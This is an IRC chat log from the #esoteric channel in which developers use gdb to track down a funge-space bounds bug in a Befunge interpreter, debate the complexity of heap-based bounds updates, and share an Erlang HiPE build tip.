PRIVMSG #esoteric :fizzie, well since it is never returned it should be fine < 1269528826 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it is used as an argument in a function call < 1269528877 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Yes, that sounds safe enough. But just "never returned" is not good enough; you can't use it even in the same function if you go outside the block it was in. < 1269528882 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyway it seems like gdb messes it up < 1269528905 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since if continuing after that break it breaks a lot more, but after that the program just ends up printing garbage < 1269528922 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Something like "foo *p; if (cond) { p = vector_create_ref(...); } else { p = vector_create_ref(...); } func(p);" would be unsafe, as far as I can tell. < 1269528930 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :indeed that wouldn't work < 1269528939 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Sneaky. < 1269528939 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but that isn't how it is used there (or anywhere else that I know of) < 1269528959 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: All the more reason to use ?: instead of if-else < 1269528959 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :do gdb ends up changing something it seems < 1269529014 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wait, I found it < 1269529015 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :-_- < 1269529022 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wrong syntax to gdb's break if < 1269529022 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :_-_ < 1269529046 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah now we found a true one I think < 1269529055 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(gdb) print *position < 1269529056 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :$1 = {x = 64995, y = 64995} < 1269529059 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so lets see where < 1269529080 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :$2 = {stack = 0x18e7420, position = {x = 6, y = 35}, delta = {x = 0, y = 1}, storageOffset = {x = 65000, y = 65000}, < 1269529087 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, does that make any sense for it? < 1269529107 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, evidently it uses that. < 1269529110 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the arguments to p was {x = -5, y = -5} < 1269529116 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And zero. < 1269529121 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, why are you writing something there < 1269529127 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's a temporary. < 1269529128 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :indeed a 0 < 1269529142 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, sure but what for? < 1269529166 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I think it counts the number of cells to p, to give the correct argument to k. < 1269529185 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, at {x = 25, y = 37} it writes an 1 to the same place btw < 1269529200 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And thereafter a 2, and then a 3, all the way to 152100, yes. :-P < 1269529209 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :gah < 1269529211 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :But then it's spaced in the kp. < 1269529222 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :If you break at 65067,65000 you'll see it's blank. < 1269529245 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1269529318 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, it writes a space much earlier than that < 1269529330 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ip is at (25,37) when it first writes a space there < 1269529332 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1269529353 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wait < 1269529357 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is probably counting still < 1269529362 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric ::-) < 1269529363 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but value is now 32 < 1269529368 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's a nonspace until the kp. < 1269529384 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, it is in fact a space when it puts the value 32 there :P < 1269529387 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for counting < 1269529414 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Well, it's a nonspace after 33 until the kp. :-P < 1269529421 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is true < 1269529469 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err wait < 1269529475 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, did you say "65067,65000"? < 1269529488 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :2010-03-25 15:59:58 ( Deewiant) If you break at 65067,65000 < 1269529492 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :when ip is at {x = 64998, y = 65000} it writes a space there < 1269529505 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, that's where the k is. < 1269529520 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so what's with the "65067" then? < 1269529532 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :65067,65000 is the first non-marker to be executed after the kp. < 1269529543 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :sometimes i wonder if AnMaster is ircing with telnet or something < 1269529559 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :(AnMaster: Deewiant, did you say "65067,65000"?) < 1269529702 0 :Tritonio_GR!~Tritonio@150.140.224.130 JOIN :#esoteric < 1269529784 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, is this 64995,64995 the first thing that k clears or something? < 1269529801 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I wonder if making it the last thing would make a difference to the bug < 1269529813 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :would be really interested in knowing that. < 1269529860 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION prints out a 456325-cell stack
< 1269529931 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: It's not the first, it's around the tenth or so < 1269529934 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269529938 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but fairly early on at least < 1269529948 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Eighth, to be exact < 1269529996 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It clears (0,-1), (0,-2), (0,-3), (-1,-1), (-2,-2), (-3,-3), (-4,-4), (-5,-5), and then the original source. < 1269530007 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :(Apply the storage offset yourself.) < 1269530010 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :right < 1269530025 0 :adu!unknown@unknown.invalid QUIT :Quit: adu < 1269530130 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1269530151 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so well the minimisation function does something wrong when called once < 1269530157 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but if called again "fixes" it < 1269530190 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1269530231 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :aaah < 1269530237 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: what algorithm are you using to find bounds? < 1269530260 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, well that is the thing. It uses a simple heuristics to select algorithm < 1269530319 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for "small" current bounds it uses a "shrink bounds towards the middle" algorithm based on the row/col value count info < 1269530336 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but for very large bounds it seems likely that most of it is sparse < 1269530345 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so thus it enumerates the values in the hash table < 1269530353 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and it seems like the bug is in the large model < 1269530436 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, this has got me wondering if there's a general O(1) algo for bounds update < 1269530447 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that is, O(1) both on unblanking cells, and on blanking them < 1269530458 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and the reason the x bound is right < 1269530464 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :is that it uses the small model at that point < 1269530480 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :because the difference is _just_ in between the difference in this case < 1269530486 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :topLeftCorner = {x = 0, y = 0}, bottomRightCorner = {x = 65180, y = 65539} < 1269530489 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :are the previous bounds < 1269530508 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the cut-off is 0x10000 < 1269530510 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :actually, probably not, as that would likely lead to O(n) sorting < 1269530513 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I figured it was something like that; I minimized the point to (65000,65000) when trying to find something as small as possible < 1269530519 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you can do bounds update in O(log n), though < 1269530527 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :ais523: For what n < 1269530533 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, right < 1269530535 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Size, number of updates? < 1269530541 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in the number of cells that don't contain spaces < 1269530549 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Right. < 1269530554 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, oh? < 1269530559 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: efunge was annoyingly slow when it was 500 million ;-P < 1269530564 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, hah < 1269530584 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: in each cell, hold a pointer to the next cell and previous cell sorted vertically over horizontally, and horizontally over vertically < 1269530587 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I'm not sure why really. Maybe bignums aren't as efficient as they could be? < 1269530596 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but that doesn't really make sense here < 1269530607 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :then, blanking a cell is O(1) (just remove the element from the linked lists) < 1269530608 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, well okay < 1269530616 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :now, there only problem is finding the previous and next cell < 1269530623 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: General slowness. slowdown runs 11 million ticks before getting to Mycology. < 1269530626 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, how do you do random access of the cells? < 1269530632 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :which, if you use something like a skiplist rather than linked list, is O(log n) < 1269530640 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and you do random access by looking at them in your hash table < 1269530641 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: And this was before I had cut off around 400 lines from the mycology.b98. < 1269530649 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, heh < 1269530650 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :this is in addition to whatever mechanism you normally use for updates < 1269530658 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :O(log n), but the constant factor is rather nastily large < 1269530665 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, well okay, the storage requirement is non-trivial isn't it? < 1269530671 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269530674 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It only quintuples the size of a cell :-) < 1269530679 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, what I do is to keep a count of set values in each column and row < 1269530689 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I suggested that algo a while back, too < 1269530700 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1269530702 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but it's O(n) in the size of the area before bounds shrinking < 1269530710 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, eh? < 1269530722 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :O(n) in size but O(log n) in memory < 1269530723 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh you mean for executing < 1269530724 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :because shrinking bounds means you need to check every count to see if it's 0 or not < 1269530725 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yours is the other way around < 1269530729 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269530729 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Err < 1269530732 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :s/in size/in CPU/ < 1269530735 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Or time, whatever. < 1269530743 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :right < 1269530758 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: that algo's O(n) in both, as you need to store the arrays < 1269530768 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, sparse arrays though < 1269530772 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :as in, the small algo for cfunge is O(n) in memory, O(n) in time < 1269530790 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Hmm, it is O(n) in the worst case, you're right. < 1269530793 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, except outside the basic static area which is something like 1024x1024 unless I misremember < 1269530807 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I thought it was 512x1024, to fit Mycology ;-P < 1269530815 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, maybe it was, I don't remember < 1269530857 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :considering that it grows fairly rapidly in size due to the multiplication there you can't make it too big < 1269530937 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, also the algorithm is fairly fast in practise. < 1269530947 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for the range I use it in < 1269530961 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes; I'm wondering what the theoretically best-in-the-limit-in-the-worst-case algo is < 1269530964 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :faster than the large model in fact (profiled for a number of programs, not just mycology) < 1269530970 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :rather than the one that's most practically useful < 1269530981 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hah < 1269531192 0 :nooga_!unknown@unknown.invalid PRIVMSG #esoteric :Mycology? < 1269531195 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ooh, instead of putting pointers in the cells, you could just record, for each row and column with a nonspace cell in, the next and previous row or column with a nonspace cell in < 1269531200 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :nooga_: automated Befunge testsuite < 1269531204 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant wrote it < 1269531206 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh god, is it that simple... < 1269531208 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Store cells in a heap and you get it in O(1)? < 1269531212 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it can't be can it.. < 1269531234 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: It helps, but you still have to calculate whether the row/column has spaces. < 1269531236 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: no, not O(1), because you can't remove entries from a heap < 1269531245 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, hm? < 1269531257 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I mean, it's not a super-improvement. :-P < 1269531269 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, what isn't compared to what? < 1269531288 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Your "oh god" stuff < 1269531291 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :there probably is a way to make a heap with removable entries, though (maybe use a heap and hashtable together?) < 1269531293 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I was talking about the cause of the bug. < 1269531293 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :... < 1269531304 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Ah, I thought you were talking about what ais just said. < 1269531304 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :now I have to figure out how to fix it < 1269531308 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :So what's wrong < 1269531316 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :ais523: You can pop from a heap. < 1269531325 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: but not remove entries from inside the heap < 1269531328 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :only if they're at the top < 1269531332 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Yes you can, it's just O(n). :-P < 1269531333 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :you can remove entries from a heap, just increase-key it up and then remove it? < 1269531338 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I *think* but I'm not quite sure yet that I just check if there is an entry in the hash table for that column, but not what value that entry has < 1269531342 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :that's O(log n) < 1269531344 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(column or row) < 1269531345 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :ais523: But the bounds calculation itself is O(1). < 1269531350 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: ah, thanks < 1269531360 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: Assuming you have a pointer to it, yes. < 1269531362 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, for normal funge space I drop the cell if I write a space, instead of storing a space < 1269531378 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but it seems I don't do the same thing for the bounds array when they hit 0 < 1269531380 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so we now have an algo that's O(log n) in the number of times a row or column has had a value in it once and then removed again < 1269531400 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :also it's impossible to do that in O(1) with any heap iirc < 1269531405 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: right < 1269531425 0 :nooga_!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1269531431 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :removing the top entry of a heap is O(log n), isn't it? or is it adding an entry that's O(log n)? < 1269531437 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :depends < 1269531441 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :one of them must be, or you could have an O(n) sort < 1269531443 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269531444 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :in a fibonacci heap only deletion is O(1) < 1269531448 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :* O(n) comparison sort < 1269531462 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :even merge is O(1) < 1269531464 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Amortized O(1) is possible. < 1269531464 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: I assumed you meant binary heap < 1269531479 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: not for both operations < 1269531490 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh well in a binary heap only merge is O(n), and pretty much everything else is O(log n) < 1269531493 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Which both? < 1269531502 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :both remove top, and add anywhere < 1269531516 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, true. < 1269531587 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :an operation that's O(log n) in the number of rows+columns every time you p a cell is not really optimal, though < 1269531591 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :it's actually really easy to make everything except remove top O(1), just put them in a stack or something... :P < 1269531600 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: yes < 1269531608 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but having a fast remove top is what makes a heap a heap, IMO < 1269531638 0 :werdan7!unknown@unknown.invalid QUIT :Ping timeout: 608 seconds < 1269531663 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :is it trivially easy/impossible to make addition O(log n) and remove top O(1)? < 1269531666 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, you'd just use a type of heap with O(1) add, and O(log n) delete and delete top < 1269531670 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :ais523: why is it incorrect today? < 1269531690 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :if it was correct today, then it would be incorrect today by what it says, a contradiction < 1269531734 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: hmm, that's an interesting question < 1269531751 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :O(1) remove top implies that it has to be stored in completely sorted order, in some sense < 1269531756 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269531771 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you can easily do it O(log n) add, O(1) remove top /amortized/, by simply amortizing the remove onto the ad < 1269531772 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :*add < 1269531860 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well right, but isn't even binary heap amortized O(1) for everything except remove top, everything that's removed has to have been added at some point < 1269531870 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh well i guess you don't have to remove < 1269531879 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yeah it's different < 1269531900 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :because you, on the other hand, have to add before you can remove < 1269531911 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :but yeah i meant actual constant time < 1269532010 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, pushed fix. < 1269532023 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, might take a few minutes to be visible due to caching effects < 1269532055 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, actually you can't < 1269532086 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no, I'm wrong, you can < 1269532103 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :because adding to a tree of size n, and removing from a tree of size n, must mirror exactly, or have more adds < 1269532111 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :what gets amortized onto what is weird, though < 1269532135 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Right, appears to work now. < 1269532163 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well the thing is complexities of a data structure should be considered one big whole, it's just harder to express < 1269532203 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269532204 0 :werdan7!~w7@freenode/staff/wikimedia.werdan7 JOIN :#esoteric < 1269532222 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i think you could remove top O(1) exactly if you keep a linked list + a tree for addition < 1269532222 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :e.g. in a fibonacci heap, if you add loads of elements then extract top once, it actually does an O(n) search for the top element < 1269532232 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: adding to a tree is O(log n) < 1269532234 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I might have time to do a release this week. Not sure < 1269532250 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if I don't, it is unlikely to happen for several weeks < 1269532253 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but that O(n) is amortized onto all the adds you did, and the deletes are O(log n) after that < 1269532257 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ais523: yes, but don't modify the tree when removing < 1269532269 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, but I'll wait until the weekend at least, in case you find more bugs < 1269532292 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, as for efunge being slow. Have you tried with HiPE? < 1269532298 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :wait with that until you add something else < 1269532298 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: then extract top is O(n) in the number of previous extracts < 1269532310 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: How? < 1269532314 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ais523: no, because you _keep_ a linked list < 1269532323 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, first check erlang is compiled with hipe < 1269532325 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :run erl < 1269532328 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :see the first line there < 1269532332 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :[hipe] < 1269532332 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :goes like: < 1269532336 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i said keep a linked list + a tree, modify only list on removal < 1269532344 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oh, the idea is that you add elements to the tree, and it's a tree of pointers to the linked list < 1269532350 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :gah copy paste is broken < 1269532350 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1269532353 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION kicks synergy
< 1269532354 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: ^ < 1269532367 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so adding is O(log n) to both add to the tree, and find where in the list to add it, and O(1) to add to the linked list in the appropriate place < 1269532376 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, yes it is hipe enabled < 1269532382 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, then see efunge README < 1269532402 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :why is it O(1) to add to the linked list? < 1269532410 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : ERL_COMPILER_OPTIONS='[inline,native,{hipe,[o3]}]' make < 1269532412 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, is in there < 1269532421 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, be sure to make clean first < 1269532426 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: because you have a pointer to where in the list you're adding it, and so can just update a constant number of next and prev pointers < 1269532428 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or it won't be rebuilt < 1269532435 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, this might or might not help < 1269532444 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :four for a doubly linked list, two for a singly linked list < 1269532448 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and at most it will do a small difference. < 1269532448 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh, well then doesn't the linked list work as a heap already? < 1269532453 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :then one more to get the new tree element to point to the list < 1269532467 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: you need to look at the tree (which is presumably kept balanced and sorted) to know where in the list to add, though < 1269532490 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :this has gotten to the stage where i'd start making things precise. < 1269532502 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, did it make any measurable difference? < 1269532524 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Around 50-70% improvement (if I remember the previous time correctly) < 1269532530 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, wow < 1269532535 0 :AnMaster!unknown@unknown.invalid PRIVMSG 